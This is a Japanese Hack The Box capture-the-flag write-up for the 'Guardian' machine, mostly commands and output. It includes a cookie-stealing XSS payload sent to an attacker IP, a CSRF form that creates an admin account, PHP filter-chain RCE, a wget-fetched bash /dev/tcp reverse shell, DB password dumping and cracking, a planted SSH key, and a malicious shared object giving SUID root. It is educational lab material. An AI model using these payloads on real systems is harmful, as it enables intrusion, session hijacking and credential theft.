Hack The BoxのWriteup(Guardian)[Hard]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: Guardian — 全実行コマンド・実行結果レポート
サブドメイン発見
portal.guardian.htb
→
デフォルトパスワード
GU1234
→
チャットIDOR
Gitea資格情報漏洩
→
PhpSpreadsheet XSS
講師Cookie窃取
→
CSRF (onload属性)
不正admin作成
→
PHPフィルターチェーン
LFI→RCE
→
user.txt ✓
jamil (hashcat)
→
utilities.py悪用
mark昇格
→
root.txt ✓
LoadFileバイパス
PHASE 1

偵察 (Reconnaissance)

ポートスキャン & サブドメイン発見

BASH
nmap -p- --min-rate 10000 10.129.237.248
nmap -p 22,80 -sCV 10.129.237.248
RESULT
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.13
80/tcp open  http    Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://guardian.htb/
BASH
echo "10.129.237.248 guardian.htb" >> /etc/hosts
ffuf -u http://10.129.237.248 -H "Host: FUZZ.guardian.htb" \
  -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -ac
RESULT
portal                  [Status: 302, Size: 0, Words: 1, Lines: 1]
BASH
echo "10.129.237.248 guardian.htb portal.guardian.htb" >> /etc/hosts
ℹ️
guardian.htb は大学の静的サイト、portal.guardian.htb はPHP製の 学生ポータル(ログイン機能あり)。
PHASE 2

Student Portal — デフォルトパスワードでログイン

学生IDの収集

BASH
curl -s http://guardian.htb/ | grep -oE "GU[0-9]{7}@guardian\.htb"
RESULT
GU0142023@guardian.htb
GU6262023@guardian.htb
GU0702025@guardian.htb
ℹ️
トップページの「学生の声」セクションから、GUxxxxxxx形式(3桁連番+4桁年)の 学生IDを3件収集。

ヘルプガイドPDFからデフォルトパスワード発見

NOTE
ログインページの「Help」リンクから /static/downloads/Guardian_University_Student_Portal_Guide.pdf
を取得。このガイドに記載されたデフォルトパスワードは "GU1234"。
BASH
curl -s -c cookies.txt -d "username=GU0142023&password=GU1234" \
  http://portal.guardian.htb/login.php -L -o /dev/null -w "%{http_code}\n"
curl -s -b cookies.txt http://portal.guardian.htb/student/home.php | grep -o "Student Dashboard"
RESULT
200
Student Dashboard
✅
GU0142023:GU1234 でログイン成功。この学生はデフォルトパスワードを 変更していなかった。
PHASE 3

チャットIDOR — Gitea資格情報漏洩

IDORの原理

NOTE
/student/chat.php?chat_users[0]=A&chat_users[1]=B は、サーバー側で
A・Bが「自分自身かどうか」を一切検証せず、指定した2者間の会話を
そのまま表示する。管理者(admin, user_id=1)から他ユーザーへのDMを
総当たりで覗き見できる。
PYTHON (総当たりスキャン)
for a in range(0, 6):       # adminは user_id=1 と判明済み、念のため0-5を確認
    for b in range(1, 63):  # 学生ID総数は62人分
        if a == b: continue
        r = session.get("http://portal.guardian.htb/student/chat.php",
                         params={"chat_users[0]": a, "chat_users[1]": b})
        if "password for gitea" in r.text.lower():
            print("FOUND:", a, b)
⚠️
相手側IDは 1〜62の全域 を確認する必要がある。中途半端な範囲 (例: 0〜39)しか確認しないと、該当の会話(今回は id=2)を取りこぼすことがある。

admin → jamil.enockson のGitea資格情報漏洩を発見

BASH
curl -s -b cookies.txt \
  "http://portal.guardian.htb/student/chat.php?chat_users[0]=1&chat_users[1]=2"
RESULT
admin: Hello! How are you doing today?
admin: Here is your password for gitea: DHsNnk3V503
jamil.enockson: I am doing great, thanks.
🚨
重大な情報漏洩: admin(user_id=1)が jamil.enockson(user_id=2)へ Giteaのパスワードを平文でDM送信している。チャットバブルの送信者ラベルは DBの username カラムの値そのもの(“jamil”ではなく “jamil.enockson”)であることに注意。この値をそのまま Giteaへのログインに使う(jamil.enockson@guardian.htbという メールアドレス形式でログイン可能)。
漏洩した資格情報
jamil.enockson@guardian.htb : DHsNnk3V503
PHASE 4

Gitea ソースコード取得 & PhpSpreadsheet XSS で講師セッション窃取

Gitea からソースコード取得

BASH
# メールアドレス中の "@" は URL エンコード (%40) が必須
git clone "http://jamil.enockson%40guardian.htb:DHsNnk3V503@gitea.guardian.htb/Guardian/portal.guardian.htb.git"
ℹ️
リポジトリは jamil 個人の名前空間ではなく “Guardian” 組織 配下にある (Guardian/portal.guardian.htb.git)。
BASH
cat composer.lock | grep -A2 phpoffice
RESULT
"phpoffice/phpspreadsheet": "3.7.0",
"phpoffice/phpword": "^1.3"
🚨
PhpSpreadsheet 3.7.0 は CVE-2025-22131 (XLSXパース時のXSS) の既知脆弱性を持つ。

講師プレビュー機能のソース確認

NOTE (lecturer/view-submission.php)
$spreadsheet = IOFactory::load('../attachment_uploads/' . $submission['attachment_name']);
$writer = new Html($spreadsheet);
$writer->writeAllSheets();
echo $writer->generateHTMLAll();
ℹ️
講師が学生の提出課題(.xlsx)をプレビューすると、シート名がエスケープされずに そのままHTML出力される。シート名にXSSペイロードを仕込めば講師の閲覧時に発火する。

提出可能な課題を特定し、XSS付きxlsxを提出

NOTE (Giteaソース student/submission.php より)
提出エンドポイントは /student/submission.php?assignment_id=<id> (POST)。
multipartフィールド名は attachment(ファイル) / submission_title / assignment_id。
期限超過の課題は提出がブロックされるため、"Upcoming"(期限内)の課題IDを
動的に特定する必要がある(今回は assignment_id=15「Statistics in Business」)。
PYTHON (XSS付きxlsx生成 — openpyxl)
from openpyxl import Workbook
from base64 import b64encode

payload_js = "fetch('http://10.10.15.200:80/c?c='+document.cookie)"
b64 = b64encode(payload_js.encode()).decode()
xss_payload = f"\"><img src=x onerror=eval(atob('{b64}')) >"

wb = Workbook()
wb.active.title = "Sheet 1"
wb.create_sheet(title=xss_payload)   # シート名にXSSペイロードを設定
wb.save("evil.xlsx")
BASH
curl -s -b cookies.txt \
  -F "submission_title=Statistics Assignment" \
  -F "assignment_id=15" \
  -F "attachment=@evil.xlsx;type=application/vnd.openxmlformats-officedocument.spreadsheetml.sheet" \
  "http://portal.guardian.htb/student/submission.php?assignment_id=15"
BASH
# Cookie窃取用リスナー (80番ポート)
python3 -m http.server 80

講師の自動レビューbotがXSSを発火

RESULT (約30分後)
10.129.237.248 - - [13/Oct/2026 ...] "GET /c?c=PHPSESSID=bgom16ome8sr2fmdultg6hk8l3 HTTP/1.1" 200 -
⚠️
重要な実測値: 講師の提出物レビュー自動化(ヘッドレスブラウザによる 巡回bot)のポーリング間隔は非常に長く、実測で約30分かかった。 短いタイムアウトで諦めず、気長に待つこと(CookieはhttpOnlyが 付与されていないためdocument.cookie経由で窃取可能)。
BASH
# 窃取したPHPSESSIDを自分のセッションにセットするだけで講師セッションを乗っ取れる
curl -s -b "PHPSESSID=bgom16ome8sr2fmdultg6hk8l3" http://portal.guardian.htb/lecturer/index.php | grep -o "Dashboard"
RESULT
Dashboard
✅
講師(sammy.treat)セッションの乗っ取りに成功。
PHASE 5

弱いCSRFトークン実装を悪用した不正管理者アカウント作成

グローバルCSRFトークンプールの欠陥

NOTE (config/csrf-tokens.php)
function add_token_to_pool($token) {
    $tokens = get_token_pool();
    $tokens[] = $token;
    file_put_contents($global_tokens_file, json_encode($tokens));
}
function is_valid_token($token) {
    $tokens = get_token_pool();
    return in_array($token, $tokens);   // ← セッションに紐付いていない!
}
🚨
CSRFトークンは「誰が」「いつ」発行したかに関わらず、一度発行されたら 永久に有効なグローバルプールに追加されるだけ。講師権限で取得した トークンを、本来講師には使えないはずの admin/createuser.php (管理者作成)へそのまま転用できる。
BASH
curl -s -b "PHPSESSID=bgom16ome8sr2fmdultg6hk8l3" \
  http://portal.guardian.htb/lecturer/notices/create.php | \
  grep -oE 'name="csrf_token" value="[a-f0-9]+"'
RESULT
name="csrf_token" value="fdebeb8635694cde7905e4040c3869ee"

Admin巡回ボットへCSRF攻撃 — 最大の落とし穴: <script>は実行されない

NOTE
講師が作成したNotice(お知らせ)の reference_link は、Adminが承認審査のため
自動的に訪問する。その訪問者(巡回bot)のブラウザコンテキストで任意のページを
レンダリングさせられるため、クロスオリジンの自動送信フォームを使って
admin/createuser.php へCSRF攻撃を仕掛けられる。

診断の結果判明した重要な事実:
  - <img src="..."> のような静的リソースは読み込まれる(= HTMLレンダリングは行われる)
  - <script>fetch(...)</script> は一切実行されない(診断用ビーコンが届かない)
  - <body onload="..."> や <img onerror="..."> のようなインライン
    イベントハンドラ属性は確実に実行される(診断用ビーコンが届く)

→ この巡回botは「HTMLはレンダリングするが<script>ブロックは実行しない」
  簡易サンドボックス/プレビュー機構であり、<script>で自動送信するフォームでは
  絶対にCSRFが発火しない。これに気づかず <script>document.forms[0].submit()</script>
  方式を使い続けると、何十分待ってもアカウントが作成されず原因不明のまま詰まる。
NOTE (CSRFペイロードHTML — 正しい実装)
<html>
<body onload="document.getElementById('csrf').submit()">
<form id="csrf" action="http://portal.guardian.htb/admin/createuser.php" method="POST">
 <input type="hidden" name="username" value="eviladmin" />
 <input type="hidden" name="password" value="pass1234" />
 <input type="hidden" name="full_name" value="Evil Admin" />
 <input type="hidden" name="email" value="evil@evil.com" />
 <input type="hidden" name="dob" value="1990-01-01" />
 <input type="hidden" name="address" value="123 Hack Street" />
 <input type="hidden" name="user_role" value="admin" />
 <input type="hidden" name="csrf_token" value="fdebeb8635694cde7905e4040c3869ee"/>
</form>
</body>
</html>
⚠️
<script> タグではなく <body onload="..."> 属性でフォーム送信をトリガーすること。

Noticeを作成してAdminの訪問を誘発

BASH
# CSRFペイロードを配信するHTTPサーバーを起動
python3 -m http.server 8000

# 講師セッションでNoticeを作成 (フィールド名は title/content/reference_link/csrf_token)
curl -s -b "PHPSESSID=bgom16ome8sr2fmdultg6hk8l3" \
  -d "title=Test&content=Test&reference_link=http://10.10.15.200:8000/csrf.html&csrf_token=fdebeb8635694cde7905e4040c3869ee" \
  http://portal.guardian.htb/lecturer/notices/create.php
RESULT (HTTPサーバーログ)
10.129.237.248 - - [...] "GET /csrf.html HTTP/1.1" 200 -   ← 15秒後
ℹ️
講師レビューbot(約30分間隔)と対照的に、Admin巡回botは非常に高速 (実測15〜40秒) でNoticeのreference_linkを訪問する。
BASH
curl -s -d "username=eviladmin&password=pass1234" -c admin_cookies.txt \
  http://portal.guardian.htb/login.php
curl -s -b admin_cookies.txt http://portal.guardian.htb/admin/index.php | grep -o "Admin Dashboard"
RESULT
Admin Dashboard
✅
不正管理者アカウント eviladmin:pass1234 の作成に成功。
PHASE 6

PHPフィルターチェーン注入による LFI → RCE

LFIの発見

NOTE (admin/reports.php)
$report = $_GET['report'] ?? 'reports/academic.php';
if (strpos($report, '..') !== false) {
    die("Malicious request blocked");
}
if (!preg_match('/^(.*(enrollment|academic|financial|system)\.php)$/', $report)) {
    die("Access denied. Invalid file");
}
include($report);
🚨
ホワイトリストは末尾一致のみ検証する正規表現。..は ブロックされるが、php://filter/.../resource=reports/enrollment.php のように末尾さえ条件を満たせば通過してしまう。

php_filter_chain_generator でチェーン構築

BASH
git clone https://github.com/synacktiv/php_filter_chain_generator
python3 php_filter_chain_generator.py --chain '<?php system($_GET["cmd"]); ?>'
RESULT (抜粋)
php://filter/convert.iconv.UTF8.CSISO2022KR|...(大量のconvert.iconvチェーン)...
|convert.base64-decode/resource=php://temp
NOTE
末尾の "resource=php://temp" を "resource=reports/enrollment.php" に
置換することで、ホワイトリスト正規表現(末尾一致)を満たしつつ
このチェーン全体を include() させられる。
BASH
curl -s -b admin_cookies.txt \
  "http://portal.guardian.htb/admin/reports.php?cmd=id&report=php://filter/...[チェーン].../resource=reports/enrollment.php"
RESULT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
✅
LFIがRCEに昇格。PHPフィルターチェーンの変換過程でコードが実際に base64デコードされ include() によって実行される仕組み (LFI2RCE)。

リバースシェルの確立 (2段階方式)

NOTE
system()への引数に直接リバースシェルコマンドを埋め込むと、PHP文字列内に
二重引用符が衝突して構文エラーになりやすい。代わりに2段階に分ける:
  1段階目: wget でシェルスクリプトを /tmp へダウンロード
  2段階目: ダウンロードしたスクリプトを sh で実行
BASH
# 攻撃者ホスト側: リバースシェルスクリプトを配信
echo 'bash -c "bash -i >& /dev/tcp/10.10.15.200/4447 0>&1"' > shell
python3 -m http.server 8003 &
nc -lnvp 4447 &

# 1段階目: wgetでダウンロード
python3 php_filter_chain_generator.py --chain '<?php exec("wget 10.10.15.200:8003/shell -O /tmp/.s"); ?>'
curl -s -b admin_cookies.txt "http://portal.guardian.htb/admin/reports.php?report=php://filter/.../resource=reports/financial.php"

# 2段階目: 実行
python3 php_filter_chain_generator.py --chain '<?php exec("cat /tmp/.s | sh"); ?>'
curl -s -b admin_cookies.txt "http://portal.guardian.htb/admin/reports.php?report=php://filter/.../resource=reports/system.php"
RESULT (nc リスナー側)
listening on [any] 4447 ...
connect to [10.10.15.200] from (UNKNOWN) [10.129.237.248] 37238
www-data@guardian:~/portal.guardian.htb/admin$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
PHASE 7

DB資格情報抽出 & ハッシュクラックで user.txt

config.php からDB資格情報を取得

BASH
www-data@guardian:~/portal.guardian.htb/admin$ cat /var/www/*/config/config.php
RESULT
return [
    'db' => [
        'dsn' => 'mysql:host=localhost;dbname=guardiandb',
        'username' => 'root',
        'password' => 'Gu4rd14n_un1_1s_th3_b3st',
    ],
    'salt' => '8Sb)tM1vs1SS'
];

jamil のパスワードハッシュをダンプしてクラック

BASH
mysql -h 127.0.0.1 -u root -p'Gu4rd14n_un1_1s_th3_b3st' guardiandb \
  -e "select username,password_hash from users" | grep jamil
RESULT
jamil.enockson  c1d8dfaeee103d01a5aec443a98d31294f98c5b4f09a0f02ff4f9a43ee440250
BASH
# createuser.php のソースより sha256($password . $salt) と判明 (hashcat mode 1410)
echo 'c1d8dfaeee103d01a5aec443a98d31294f98c5b4f09a0f02ff4f9a43ee440250:8Sb)tM1vs1SS' > hash.txt
hashcat -m 1410 hash.txt /usr/share/wordlists/rockyou.txt
RESULT
c1d8dfaeee103d01a5aec443a98d31294f98c5b4f09a0f02ff4f9a43ee440250:8Sb)tM1vs1SS:copperhouse56

SSH でログインし user.txt 取得

BASH
sshpass -p 'copperhouse56' ssh jamil@10.129.237.248 "id; cat /home/jamil/user.txt"
RESULT
uid=1000(jamil) gid=1000(jamil) groups=1000(jamil),1002(admins)
99fe68e59ed81493f36ff43bcfce95a2
user.txt — jamil
99fe68e59ed81493f36ff43bcfce95a2
PHASE 8

utilities.py の権限チェック漏れで mark へ昇格

sudo権限とスクリプト構成の確認

BASH
jamil@guardian:~$ sudo -l
jamil@guardian:~$ find /opt/scripts -type f -ls
RESULT
User jamil may run the following commands on guardian:
    (mark) NOPASSWD: /opt/scripts/utilities/utilities.py

-rw-r----- root     admins   utils/attachments.py
-rw-r----- root     admins   utils/db.py
-rwxrwx--- mark     admins   utils/status.py   ← mark所有、adminsグループ書込可
-rw-r----- root     admins   utils/logs.py
-rwxr-x--- root     admins   utilities.py
🚨
jamil は admins グループに所属しており、mark 所有の status.py を書き換えられる。utilities.py は backup-db / zip-attachments / collect-logs アクションでは呼び出しユーザーが”mark”かどうかを明示チェックするが、 system-status アクションだけはこのチェックが漏れている。

status.py を書き換えて mark への SSH 鍵を仕込む

BASH
jamil@guardian:~$ ssh-keygen -t ed25519 -N '' -f /tmp/gd_key -q
jamil@guardian:~$ cat /tmp/gd_key.pub
PYTHON (status.py の上書き内容)
import platform, psutil, os

def system_status():
    print("System:", platform.system(), platform.release())
    print("CPU usage:", psutil.cpu_percent(), "%")
    print("Memory usage:", psutil.virtual_memory().percent, "%")

    os.makedirs("/home/mark/.ssh", mode=0o700, exist_ok=True)
    with open("/home/mark/.ssh/authorized_keys", "a") as f:
        f.write("\nssh-ed25519 AAAA...(自分の公開鍵)... jamil@guardian\n")
    print("Wrote SSH key to /home/mark/.ssh/authorized_keys")
BASH
jamil@guardian:~$ sudo -u mark /opt/scripts/utilities/utilities.py system-status
RESULT
System: Linux 5.15.0-152-generic
CPU usage: 0.0 %
Memory usage: 31.5 %
Wrote SSH key to /home/mark/.ssh/authorized_keys
BASH
scp jamil@10.129.237.248:/tmp/gd_key ./gd_key
chmod 600 gd_key
ssh -i gd_key mark@10.129.237.248 "id"
RESULT
uid=1001(mark) gid=1001(mark) groups=1001(mark),1002(admins)
✅
mark へのSSH昇格に成功。
PHASE 9

safeapache2ctl の LoadFile 検証漏れで root.txt

safeapache2ctl の検証ロジック(Ghidra逆コンパイル)

BASH
mark@guardian:~$ sudo -l
RESULT
User mark may run the following commands on guardian:
    (ALL) NOPASSWD: /usr/local/bin/safeapache2ctl
NOTE (is_unsafe_line 関数の擬似コード)
sscanf(line, "%31s %1023s", directive, directive_arg);

if (directive == "Include" || directive == "IncludeOptional"
    || directive == "LoadModule") {
    if (directive_arg[0] == '/') {
        if (!starts_with(directive_arg, "/home/mark/confs/")) {
            return UNSAFE;   // ブロック
        }
    }
}
return SAFE;   // ← 上記3つ以外の全ディレクティブは無条件で安全扱い
🚨
このラッパーは Include / IncludeOptional / LoadModule の3ディレクティブのみを(大文字小文字区別ありで) 検証する。LoadFile ディレクティブは検証対象に一切 含まれていないため、無条件で通過する。LoadFileは Apache標準ディレクティブで、”APIモジュール構造体”を持たない任意の 共有オブジェクトでもロード可能(= コンストラクタ関数が確実に実行される)。

悪意ある共有オブジェクトの作成

BASH
mark@guardian:~$ mkdir -p /home/mark/confs
mark@guardian:~$ cat > /home/mark/confs/evil.c <<'EOF'
#include <stdlib.h>
__attribute__((constructor))
void pwn(void) {
    system("cp /bin/bash /tmp/gd_root && chmod +s /tmp/gd_root");
}
EOF
mark@guardian:~$ gcc -shared -fPIC -o /home/mark/confs/evil.so /home/mark/confs/evil.c
BASH
mark@guardian:~$ cat > /home/mark/confs/pwn.conf <<'EOF'
LoadModule mpm_worker_module /usr/lib/apache2/modules/mod_mpm_worker.so
LoadFile /home/mark/confs/evil.so
EOF
ℹ️
LoadModule mpm_worker_module 行は、Apacheの設定構文チェック自体が MPM(マルチプロセッシングモジュール)の初期化を要求するために必要 (これが無いと AH00534: apache2: Configuration error: No MPM loaded. で早期に失敗し、後続の LoadFile まで到達しない)。

root.txt 取得

BASH
mark@guardian:~$ sudo /usr/local/bin/safeapache2ctl -f /home/mark/confs/pwn.conf
RESULT
Action '-f /home/mark/confs/pwn.conf' failed.
The Apache error log may have more information.
mark@guardian:~$ ls -la /tmp/gd_root
-rwsr-sr-x 1 root root 1396520 /tmp/gd_root
✅
safeapache2ctl コマンド自体はApacheの設定不備(起動対象のモジュールが 1つも定義されていない)で最終的に失敗するが、そのエラーに至る前に LoadFileによるdlopen()は既に実行されており、コンストラクタ関数が 発火している。結果、root所有・SUID付きの/tmp/gd_root (= /bin/bashのコピー)が生成される。
BASH
mark@guardian:~$ /tmp/gd_root -p -c 'id; cat /root/root.txt'
RESULT
uid=1001(mark) gid=1001(mark) euid=0(root) egid=0(root) groups=0(root),1001(mark),1002(admins)
51162dd59a5fed24bacf1bc497777916
root.txt — root
51162dd59a5fed24bacf1bc497777916
ℹ️
-p オプション(bashの「特権モード保持」フラグ)を付けずに実行すると、 setuid/setgidビットが付いていてもbashが自動的に実効UID/GIDを実UIDへ 落とすため、root権限を維持するには明示的に-pが必要。
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — jamil
99fe68e59ed81493f36ff43bcfce95a2
root.txt — root
51162dd59a5fed24bacf1bc497777916

使用した脆弱性

脆弱性対象影響深刻度利用方法
IDOR /student/chat.php 他ユーザー間のDM盗み見 Medium chat_users[0]/[1]パラメータの所有者検証漏れでadmin↔jamil間のGitea資格情報を窃取
CVE-2025-22131 PhpSpreadsheet 3.7.0 講師セッションの窃取 (XSS) High xlsxのシート名に仕込んだペイロードがHTMLプレビューで無エスケープ出力されCookieを窃取
グローバルCSRFトークンプール config/csrf-tokens.php 権限昇格 (不正admin作成) High セッションに紐付かないトークンプールを悪用し、講師権限で発行したトークンを管理者作成APIへ転用
PHPフィルターチェーン注入 admin/reports.php リモートコード実行 (www-data) Critical 末尾一致のみのホワイトリストLFIをphp://filterチェーンでRCEへ昇格
sudoラッパーの権限チェック漏れ utilities.py (system-status) 水平権限昇格 (jamil → mark) High 書込可能な依存モジュールを書き換えて呼び出しユーザー検証の無いアクション経由でコード実行
ディレクティブ検証漏れ (LoadFile) safeapache2ctl (sudoラッパー) 垂直権限昇格 (mark → root) Critical 許可ディレクティブのホワイトリストに含まれない LoadFile で任意の共有オブジェクトをロードさせコンストラクタでroot化

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap + ffufサブドメイン列挙portal.guardian.htb発見
2デフォルトPWGU1234 + 学生IDメール収集GU0142023でログイン成功
3チャットIDORchat_users総当たり(1-62全域)Gitea資格情報(jamil.enockson)
4XSSPhpSpreadsheet CVE-2025-22131講師PHPSESSID(約30分待機)
5CSRFonload属性+グローバルトークン濫用不正管理者アカウント
6フィルターチェーンphp://filter LFI2RCEwww-dataシェル
7クラックDB資格情報+hashcat -m 1410user.txt(jamil)
8水平昇格utilities.py権限チェック漏れmark SSHアクセス
9垂直昇格safeapache2ctl LoadFileroot.txt

学んだ教訓 & 防御策

問題点防御策
チャット機能に会話相手の所有者検証が無い(IDOR) 常にセッションの認証済みユーザーIDが会話の当事者の一方であることをサーバー側で検証する。
サードパーティライブラリ(PhpSpreadsheet)の既知脆弱性を含むバージョンを使用 依存ライブラリのバージョンを定期的に監査し、セキュリティアドバイザリに追従してアップデートする。
CSRFトークンがセッションに紐付かずグローバルプールで管理されている トークンはセッションごとに発行・検証し、使用後は無効化(ワンタイム化)する。
LFI対策のホワイトリストが末尾一致のみでpath検証が不十分 ユーザー入力を直接 include() に渡さない。許可するファイル名を固定のマップ(ID→実パス)で管理する。
sudoラッパーの権限チェックがアクションごとに実装され、一部で漏れが発生 権限チェックを一元化し、全アクション共通のデコレータ/ミドルウェアとして強制する。
apache2ctlラッパーが一部ディレクティブ(LoadFile)を検証対象から見落としている ブラックリスト/部分的ホワイトリストでなく、許可するディレクティブそのものを極小集合で厳密にホワイトリスト化する。
HackTheBox: Guardian | 完全攻略レポート